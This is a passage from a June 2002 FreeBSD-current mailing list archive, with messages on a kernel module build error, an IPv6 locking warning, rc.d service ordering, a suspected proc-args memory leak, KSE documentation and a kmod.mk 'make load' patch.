	(envelope-from imp@village.org)
Date: Sun, 16 Jun 2002 19:46:55 -0600 (MDT)
Message-Id: <20020616.194655.25533118.imp@village.org>
To: current@freebsd.org
Subject: Kernel build busted?
From: "M. Warner Losh" <imp@village.org>
X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

===> drm/gamma
cc -O -pipe   -D_KERNEL -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes  -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual  -Wno-format -ansi -DKLD_MODULE -nostdinc -I-   -I. -I@ -I@/dev -I@/../include -fno-common -g -mpreferred-stack-boundary=2 -ffreestanding -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes  -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual  -Wno-format -ansi -c /dell/imp/FreeBSD/src/sys/dev/drm/gamma_drv.c
In file included from @/dev/drm/drm_fops.h:43,
                 from /dell/imp/FreeBSD/src/sys/dev/drm/gamma_drv.c:107:
@/sys/signalvar.h:245: conflicting types for `psignal'
@/../include/signal.h:88: previous declaration of `psignal'
@/sys/signalvar.h:245: warning: redundant redeclaration of `psignal' in same scope
@/../include/signal.h:88: warning: previous declaration of `psignal'
*** Error code 1

Why is a kernel module including userland stuff?

Warner

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 18:50:44 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mta6.snfc21.pbi.net (mta6.snfc21.pbi.net [206.13.28.240])
	by hub.freebsd.org (Postfix) with ESMTP id 079C837B421
	for <current@freebsd.org>; Sun, 16 Jun 2002 18:50:42 -0700 (PDT)
Received: from FreeBSD.org ([63.193.112.125])
 by mta6.snfc21.pbi.net (iPlanet Messaging Server 5.1 (built May  7 2001))
 with ESMTP id <0GXT00569UGHEF@mta6.snfc21.pbi.net> for current@freebsd.org;
 Sun, 16 Jun 2002 18:50:41 -0700 (PDT)
Date: Sun, 16 Jun 2002 18:50:51 -0700
From: Jeffrey Hsu <hsu@FreeBSD.org>
Subject: Re: could sleep with "inp" locked
In-reply-to: "Your message of Sat, 16 Jun 2002 20:10:28 +0200."
 <200206161810.g5GIASV35012@zibbi.icomtek.csir.co.za>
To: John Hay <jhay@icomtek.csir.co.za>
Cc: yangjihui@yahoo.com, current@freebsd.org
Message-id: <0GXT0056AUGHEF@mta6.snfc21.pbi.net>
MIME-version: 1.0
X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7BIT
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


  > I get this message everytime I login to the -current machine using ssh
  > over ipv6.  I don't see it if I use ipv4.

  > ../../../vm/uma_core.c:1327: could sleep with "inp" locked from
  >    ../../../netinet/tcp_usrreq.c:536


That's a tough one to fix without re-arranging the way the KAME IPv6 code
does allocations.  I heard we're about to get a new update of our IPv6
code, so I don't want to move code around in the current IPv6 to lock it
up.  I see you really are using IPv6, otherwise you could can turn off
INET6 in your config file as I've done in mine.  A few days ago, things
were really bad due to a vm/mbuf allocator interaction which has since
been fixed, because each mbuf allocation would cause one of these could
sleep warnings to get printed, so we used to get them from all over the
stack.  Now, this INET6 case is the only one left that I know of.  But
I'm quite happy that, aside from this could sleep warning, IPv6 is working
for you.  Please let me know of any other suspicious looking network
warning messages you see.

							Jeffrey



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 19:17:55 2002
Delivered-To: freebsd-current@freebsd.org
Received: by hub.freebsd.org (Postfix, from userid 931)
	id 4EB9537B412; Sun, 16 Jun 2002 19:17:52 -0700 (PDT)
Date: Sun, 16 Jun 2002 19:17:52 -0700
From: Juli Mallett <jmallett@FreeBSD.org>
To: "M. Warner Losh" <imp@village.org>
Cc: current@freebsd.org
Subject: Re: Kernel build busted?
Message-ID: <20020616191752.A69390@FreeBSD.ORG>
References: <20020616.194655.25533118.imp@village.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020616.194655.25533118.imp@village.org>; from imp@village.org on Sun, Jun 16, 2002 at 07:46:55PM -0600
Organisation: The FreeBSD Project <http://FreeBSD.org>
X-Alternate-Addresses: <jmallett@NewGold.NET>, <jmallett@xMach.org>, <juli@jerkcity.com>, <flata@toxic.magnesium.net>
X-Affiliated-Projects: FreeBSD, xMach, ircd-hybrid-7
X-Towel: Yes
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

DES fixed this.

* "M. Warner Losh" <imp@village.org> escriurères
> ===> drm/gamma
> cc -O -pipe   -D_KERNEL -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes  -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual  -Wno-format -ansi -DKLD_MODULE -nostdinc -I-   -I. -I@ -I@/dev -I@/../include -fno-common -g -mpreferred-stack-boundary=2 -ffreestanding -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes  -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual  -Wno-format -ansi -c /dell/imp/FreeBSD/src/sys/dev/drm/gamma_drv.c
> In file included from @/dev/drm/drm_fops.h:43,
>                  from /dell/imp/FreeBSD/src/sys/dev/drm/gamma_drv.c:107:
> @/sys/signalvar.h:245: conflicting types for `psignal'
> @/../include/signal.h:88: previous declaration of `psignal'
> @/sys/signalvar.h:245: warning: redundant redeclaration of `psignal' in same scope
> @/../include/signal.h:88: warning: previous declaration of `psignal'
> *** Error code 1
> 
> Why is a kernel module including userland stuff?
> 
> Warner
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message

-- 
Juli Mallett <jmallett@FreeBSD.org>       | FreeBSD: The Power To Serve
Will break world for fulltime employment. | finger jmallett@FreeBSD.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 20: 2:42 2002
Delivered-To: freebsd-current@freebsd.org
Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50])
	by hub.freebsd.org (Postfix) with ESMTP id 7E63037B443
	for <current@freebsd.org>; Sun, 16 Jun 2002 20:02:38 -0700 (PDT)
Received: from pool0036.cvx21-bradley.dialup.earthlink.net ([209.179.192.36] helo=mindspring.com)
	by avocet.mail.pas.earthlink.net with esmtp (Exim 3.33 #2)
	id 17Jmmn-0001M5-00; Sun, 16 Jun 2002 20:02:33 -0700
Message-ID: <3D0D5120.AB1B22DF@mindspring.com>
Date: Sun, 16 Jun 2002 20:01:52 -0700
From: Terry Lambert <tlambert2@mindspring.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: David Xu <davidx@viasoft.com.cn>
Cc: Mike Makonnen <makonnen@pacbell.net>, current@FreeBSD.ORG,
	danny@cs.huji.ac.il, gordont@gnf.org
Subject: Re: HEADS UP: rc.d is in the tree
References: <E17IrYC-000NFi-00@cse.cs.huji.ac.il> <20020614142308.7ddeaed0.makonnen@pacbell.net> <3D0A6E7B.F243329A@mindspring.com> <20020615121247.A6971@dragon.nuxi.com> <3D0B9A60.A4A816A4@mindspring.com> <20020615144656.06f8404d.makonnen@pacbell.net> <3D0BBD43.6623BCBD@mindspring.com> <20020616054030.29e6ed35.makonnen@pacbell.net> <3D0D155B.1ACEF5E8@mindspring.com> <005201c21592$51df9190$0501a8c0@asus>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

David Xu wrote:
> All you need is having a service manager like program in Windowz NT,
> so every service should report its ready status when it is actually ready not
> just started,  every daemon should be rewritted to support reporting its status,
> STARTING, STARTED, SUSPENDING, SUSPENDED, STOPING,
> STOPED, the service manager would start a service only when all its dependent
> services were actually started.

AQgree 100%, except for all the rewriting.  8-) 8-).

Actually, if you have to rewrite anything, then you are doing
things wrong.

There might be xome minor patches to a few programs, but the
vast majority of them should be able to be left alone.

-- Terry

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 20:12:40 2002
Delivered-To: freebsd-current@freebsd.org
Received: from leviathan.inethouston.net (leviathan.inethouston.net [66.64.12.249])
	by hub.freebsd.org (Postfix) with ESMTP
	id EFA2A37B408; Sun, 16 Jun 2002 20:12:37 -0700 (PDT)
Received: by leviathan.inethouston.net (Postfix, from userid 1001)
	id 87B673198DD; Sun, 16 Jun 2002 22:12:38 -0500 (CDT)
Date: Sun, 16 Jun 2002 22:12:38 -0500
From: "David W. Chapman Jr." <dwcjr@inethouston.net>
To: mobile@freebsd.org
Cc: current@freebsd.org
Subject: X & Silicon Motion SM710 VGA BIOS
Message-ID: <20020617031238.GA18370@leviathan.inethouston.net>
Reply-To: "David W. Chapman Jr." <dwcjr@inethouston.net>
Mail-Followup-To: mobile@freebsd.org, current@freebsd.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
X-Operating-System: FreeBSD 4.5-STABLE i386
User-Agent: Mutt/1.5.1i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Has anyone been able to get the above card to work with X on -current?

-- 
David W. Chapman Jr.
dwcjr@inethouston.net	Raintree Network Services, Inc. <www.inethouston.net>
dwcjr@freebsd.org	FreeBSD Committer <www.FreeBSD.org>

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 20:15:15 2002
Delivered-To: freebsd-current@freebsd.org
Received: from alcanet.com.au (mail2.alcanet.com.au [203.62.196.17])
	by hub.freebsd.org (Postfix) with ESMTP id EB08037B406
	for <freebsd-current@freebsd.org>; Sun, 16 Jun 2002 20:15:11 -0700 (PDT)
Received: from mfg1.cim.alcatel.com.au (localhost.localdomain [127.0.0.1])
	by alcanet.com.au (8.12.1/8.12.1/Alcanet1.2) with ESMTP id g5H3F9CS012291
	for <freebsd-current@freebsd.org>; Mon, 17 Jun 2002 13:15:10 +1000
Received: from gsmx07.alcatel.com.au by cim.alcatel.com.au
 (PMDF V5.2-32 #37645) with ESMTP id <01KJ1ECCWRN490Q4FI@cim.alcatel.com.au>
 for freebsd-current@freebsd.org; Mon, 17 Jun 2002 13:14:37 +1000
Received: from gsmx07.alcatel.com.au (localhost [127.0.0.1])
	by gsmx07.alcatel.com.au (8.12.3/8.12.3) with ESMTP id g5H3F3Dp007941	for
 <freebsd-current@freebsd.org>; Mon, 17 Jun 2002 13:15:03 +1000
Received: (from jeremyp@localhost)
	by gsmx07.alcatel.com.au (8.12.3/8.12.3/Submit)
 id g5H3F3XT007940	for freebsd-current@freebsd.org; Mon,
 17 Jun 2002 13:15:03 +1000 (EST)
Content-return: prohibited
Date: Mon, 17 Jun 2002 13:15:03 +1000
From: Peter Jeremy <peter.jeremy@alcatel.com.au>
Subject: proc-args (M_PARGS) leakage
To: freebsd-current@freebsd.org
Mail-Followup-To: freebsd-current@freebsd.org
Message-id: <20020617131502.O680@gsmx07.alcatel.com.au>
MIME-version: 1.0
Content-type: text/plain; charset=us-ascii
Content-disposition: inline
User-Agent: Mutt/1.2.5.1i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

This is -CURRENT from 7th May so it's possible the bug has been
fixed, though there's nothing obvious in either the CVS commit
logs or by diffing the relevant files.

Having noticed that my system is paging far more than I would have
expected, I went looking and found that the 'proc-args' pool was
far larger than I expected.  And is growing over time:

gsmx07# vmstat -m|grep proc-args
    proc-args701802 70634K  70634K  1589264  16,32,64,128,256
[about 10 minutes delay]
gsmx07# vmstat -m|grep proc-args;vmstat -m|grep proc-args 
    proc-args702048 70652K  70652K  1589557  16,32,64,128,256
    proc-args702047 70652K  70652K  1589558  16,32,64,128,256
gsmx07# 

Unfortunately, M_PARGS is not the easiest pool to track allocations
and de-allocations.  Having gone through the references to pargs_*()
and p_args, I can't see any obvious cause of this.

Whilst I'm fairly certain it's not my problem, sysctl_kern_proc_args()
(1.136) looks dubious:
...
        PROC_LOCK(p);
        pa = p->p_args;
        pargs_hold(pa);
        PROC_UNLOCK(p);
        if (req->oldptr && pa != NULL) {
                error = SYSCTL_OUT(req, pa->ar_args, pa->ar_length);
        }
        if (req->newptr == NULL) {
                pargs_drop(pa);
                return (error);
        }
To this point, it all looks correct: An additional reference has been
added to p_args to allow the SYSCTL_OUT() to copy the arguments without
them being freed.  The relevant pargs entry will have a ref count of at
least 2 (the original reference from 'p' and a new reference via
pargs_hold()).

        PROC_LOCK(p);
        pa = p->p_args;
        p->p_args = NULL;
        PROC_UNLOCK(p);
        pargs_drop(pa);

(And later code shows pa dead at this point).  I don't follow this.
pargs_drop(pa) deletes a single reference count - which matches the
line "p->p_args = NULL;" - but I don't see anything to match the
pargs_hold(pa) above.

Additionally, whilst I'm certain it's not my problem,
fill_kinfo_proc() copys a reference to pargs, but doesn't increment
the reference counter (using pargs_hold()).

Has anyone else bumped into this?

Peter

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 20:53: 7 2002
Delivered-To: freebsd-current@freebsd.org
Received: from digger1.defence.gov.au (digger1.defence.gov.au [203.5.217.4])
	by hub.freebsd.org (Postfix) with ESMTP id 36F5037B419
	for <freebsd-current@freebsd.org>; Sun, 16 Jun 2002 20:53:03 -0700 (PDT)
Received: from dsto-ms2.dsto.defence.gov.au (dsto-ms2.dsto.defence.gov.au [131.185.2.150])
	by digger1.defence.gov.au (8.10.1/8.10.1) with ESMTP id g5H3pWS09971
	for <freebsd-current@freebsd.org>; Mon, 17 Jun 2002 13:21:32 +0930 (CST)
Received: from muttley.dsto.defence.gov.au (unverified) by dsto-ms2.dsto.defence.gov.au
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <T83b902965b8aa62c64@dsto-ms2.dsto.defence.gov.au> for <freebsd-current@freebsd.org>;
 Mon, 17 Jun 2002 13:22:50 +0930
Received: from salex001.dsto.defence.gov.au (salex001.dsto.defence.gov.au [131.185.2.9])
	by muttley.dsto.defence.gov.au (8.9.3/8.9.3/8.9.3.LMD.990513) with ESMTP id NAA24375
	for <freebsd-current@freebsd.org>; Mon, 17 Jun 2002 13:19:45 +0930 (CST)
Received: from squirm.dsto.defence.gov.au ([131.185.75.211]) by salex001.dsto.defence.gov.au with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id M7A45GRX; Mon, 17 Jun 2002 13:19:58 +0930
Date: Mon, 17 Jun 2002 13:10:40 +0930 (CST)
From: "Wilkinson,Alex" <Alex.Wilkinson@dsto.defence.gov.au>
X-X-Sender: wilkinsa@squirm.dsto.defence.gov.au
Reply-To: Alex.Wilkinson@dsto.defence.gov.au
To: freebsd-current@freebsd.org
Subject:  KSE
Message-ID: <20020617130948.P43533-100000@squirm.dsto.defence.gov.au>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Howdy Crew,

Can anyone point me to any doc/pappers reagrding KSE.

Thanks

 - Alex




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 21: 9:29 2002
Delivered-To: freebsd-current@freebsd.org
Received: from Mgw1-in.NCTU.edu.tw (Mgw1-in.nctu.edu.tw [140.113.54.37])
	by hub.freebsd.org (Postfix) with ESMTP id 45AC037B416
	for <freebsd-current@FreeBSD.ORG>; Sun, 16 Jun 2002 21:09:14 -0700 (PDT)
Received: from Terry.Dorm11.NCTU.edu.tw (Terry.Dorm11.NCTU.edu.tw [140.113.192.99])
	by Mgw1-in.NCTU.edu.tw (8.12.3/8.12.3) with ESMTP id g5H49CUw007147
	for <freebsd-current@FreeBSD.ORG>; Mon, 17 Jun 2002 12:09:12 +0800 (CST)
Received: from Terry.Dorm11.NCTU.edu.tw (ijliao@localhost [127.0.0.1])
	by Terry.Dorm11.NCTU.edu.tw (8.12.3/8.12.3) with ESMTP id g5H49EL2008665
	for <freebsd-current@FreeBSD.ORG>; Mon, 17 Jun 2002 12:09:15 +0800 (CST)
	(envelope-from ijliao@Terry.Dorm11.NCTU.edu.tw)
Received: (from ijliao@localhost)
	by Terry.Dorm11.NCTU.edu.tw (8.12.3/8.12.3/Submit) id g5H49EFT008664
	for freebsd-current@FreeBSD.ORG; Mon, 17 Jun 2002 12:09:14 +0800 (CST)
Date: Mon, 17 Jun 2002 12:09:14 +0800
From: Ying-Chieh Liao <ijliao@FreeBSD.ORG>
To: freebsd-current@FreeBSD.ORG
Subject: make install failed on XFree86-4-client (with 6/10 -current)
Message-ID: <20020617040914.GA8595@terry.dragon2.net>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="ibTvN161/egqYuK8"
Content-Disposition: inline
User-Agent: Mutt/1.3.99i
X-Operating-System: FreeBSD 5.0-CURRENT i386
X-PGP-Key-Location: http://pgpkeys.mit.edu:11371/pks/lookup?op=get&search=0x11C02382
X-PGP-Key-Fingerprint: 4E98 55CC 2866 7A90 EFD7 9DA5 ACC6 0165 11C0 2382
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


--ibTvN161/egqYuK8
Content-Type: text/plain; charset=big5
Content-Disposition: inline

make build all ok, but failed on install
should I rebuild world first ?

installing in programs/glxinfo...
rm -f glxinfo
LD_LIBRARY_PATH=../../exports/lib cc -o glxinfo  -ansi -pedantic -Dasm=__asm -Wall -Wpointer-arith     -L../../exports/lib glxinfo.o -lGLU -lGL -lXext -lX11 -L/usr/X11R6/lib -lc_r -lm   -Wl,-rpath,/usr/X11R6/lib
/usr/X11R6/lib/libGLU.so: undefined reference to `operator new[](unsigned)'
/usr/X11R6/lib/libGLU.so: undefined reference to `vtable for __cxxabiv1::__si_class_type_info'
/usr/X11R6/lib/libGLU.so: undefined reference to `operator delete(void*)'
/usr/X11R6/lib/libGLU.so: undefined reference to `__gxx_personality_v0'
/usr/X11R6/lib/libGLU.so: undefined reference to `__cxa_pure_virtual'
/usr/X11R6/lib/libGLU.so: undefined reference to `vtable for __cxxabiv1::__class_type_info'
/usr/X11R6/lib/libGLU.so: undefined reference to `operator delete[](void*)'
/usr/X11R6/lib/libGLU.so: undefined reference to `vtable for __cxxabiv1::__vmi_class_type_info'
/usr/X11R6/lib/libGLU.so: undefined reference to `operator new(unsigned)'
*** Error code 1

Stop in /usr/ports/x11/XFree86-4-clients/work/xc/programs/glxinfo.
*** Error code 1
-- 
self-producing in perl :
$_=q(print"\$_=q($_);eval;");eval;
					-- V Vinay

--ibTvN161/egqYuK8
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (FreeBSD)

iD8DBQE9DWDqrMYBZRHAI4IRArLRAKCNlZXc/usZ3Za9jXpW6pX8p79vtQCgrGim
ZBO9ktSzSepxwQBXiYgWQZk=
=rijg
-----END PGP SIGNATURE-----

--ibTvN161/egqYuK8--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 21:13:38 2002
Delivered-To: freebsd-current@freebsd.org
Received: from falcon.mail.pas.earthlink.net (falcon.mail.pas.earthlink.net [207.217.120.74])
	by hub.freebsd.org (Postfix) with ESMTP id A634D37B40D
	for <freebsd-current@freebsd.org>; Sun, 16 Jun 2002 21:13:36 -0700 (PDT)
Received: from pool0036.cvx21-bradley.dialup.earthlink.net ([209.179.192.36] helo=mindspring.com)
	by falcon.mail.pas.earthlink.net with esmtp (Exim 3.33 #2)
	id 17JntV-0002M9-00; Sun, 16 Jun 2002 21:13:34 -0700
Message-ID: <3D0D61C1.BC87EB58@mindspring.com>
Date: Sun, 16 Jun 2002 21:12:49 -0700
From: Terry Lambert <tlambert2@mindspring.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Alex.Wilkinson@dsto.defence.gov.au
Cc: freebsd-current@freebsd.org
Subject: Re: KSE
References: <20020617130948.P43533-100000@squirm.dsto.defence.gov.au>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

"Wilkinson,Alex" wrote:
> Can anyone point me to any doc/pappers reagrding KSE.

http://people.freebsd.org/~julian/threads/

Jason Evans' page appears to be down, for some reason, but the
SMP project also includes documentation.

-- Terry

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 21:14:25 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16])
	by hub.freebsd.org (Postfix) with ESMTP id B580D37B40E
	for <current@FreeBSD.ORG>; Sun, 16 Jun 2002 21:14:18 -0700 (PDT)
Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102])
	by mailman.zeta.org.au (8.9.3/8.8.7) with ESMTP id OAA05652;
	Mon, 17 Jun 2002 14:14:10 +1000
Date: Mon, 17 Jun 2002 14:18:50 +1000 (EST)
From: Bruce Evans <bde@zeta.org.au>
X-X-Sender: bde@gamplex.bde.org
To: Nick Hibma <n_hibma@van-laarhoven.org>
Cc: FreeBSD CURRENT Mailing List <current@FreeBSD.ORG>
Subject: Re: making make load work for /sys/modules/*
In-Reply-To: <20020616201846.G1928-200000@heather.van-laarhoven.org>
Message-ID: <20020617135321.S3207-100000@gamplex.bde.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Sun, 16 Jun 2002, Nick Hibma wrote:

> At the moment 'make load' does not work in /sys/modules. The attached
> patch fixes that by using .OBJDIR instead of .CURDIR as the absolute
> path to find the module at:

> ...
> After changing .CURDIR to .OBJDIR it selects the correct module
> depending on whether it was created in the MAKEOBJDIR directory or not:

> ...
> Any objections to the attached patch? Any reason to wait for a system
> makefiles guru?

I patched this locally when the problem was first reported a year or two
ago, but since I don't believe in modules and have only built a couple
in the last year or two, this patch and nearby ones have not been tested
much.

%%%
Index: kmod.mk
===================================================================
RCS file: /home/ncvs/src/sys/conf/kmod.mk,v
retrieving revision 1.124
diff -u -2 -r1.124 kmod.mk
--- kmod.mk	14 May 2002 07:49:12 -0000	1.124
+++ kmod.mk	16 May 2002 19:15:55 -0000
@@ -278,11 +278,11 @@

 .if !target(load)
-load:	${PROG}
-	${KMODLOAD} -v ${.CURDIR}/${KMOD}.ko
+load: ${PROG}
+	${KMODLOAD} -v ${.OBJDIR}/${PROG}
 .endif

 .if !target(unload)
 unload:
-	${KMODUNLOAD} -v ${KMOD}
+	${KMODUNLOAD} -v ${PROG}
 .endif
%%%


This bug is related to the full brokenness of the kernel's search for
modules.  The path was originally simply ${KMOD} (/sbin/modload -o ${KMOD})
imp committed my change to ./${KMOD} in rev.1.79.  I forget what this was
for, but it may have been an attempt to prevent the path search.  Perhaps
it actually did that then.  Next, the path was changed to ./${KMOD}.ko
in rev.1.82.  I'm not sure why that was necessary, since one of the
misfeatures in the module seaching is appending ".ko", but it is good
for the pathname to be complete.  Next, the path was changed to
${.CURDIR}/${KMOD}.ko, to work around the full brokenness of the search
(the search apparently doesn't recognize that a "./" prefix means an
absolute path) and to completely break the usual ${.OBJDIR} != ${.CURDIR}
case.  Fixing this can't make things worse :-).

Bruce


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 21:19:45 2002
Delivered-To: freebsd-current@freebsd.org
Received: from panzer.kdm.org (panzer.kdm.org [216.160.178.169])
	by hub.freebsd.org (Postfix) with ESMTP
	id 5CDBC37B411; Sun, 16 Jun 2002 21:19:20 -0700 (PDT)
Received: (from ken@localhost)
	by panzer.kdm.org (8.11.6/8.9.1) id g5H4JJe78623;
	Sun, 16 Jun 2002 22:19:19 -0600 (MDT)
	(envelope-from ken)
Date: Sun, 16 Jun 2002 22:19:19 -0600
From: "Kenneth D. Merry" <ken@kdm.org>
To: current@FreeBSD.org
Cc: alc@FreeBSD.org
Subject: vm_object_allocate() question
Message-ID: <20020616221919.A78576@panzer.kdm.org>
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="W/nzBZO5zC0uMSeA"
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


--W/nzBZO5zC0uMSeA
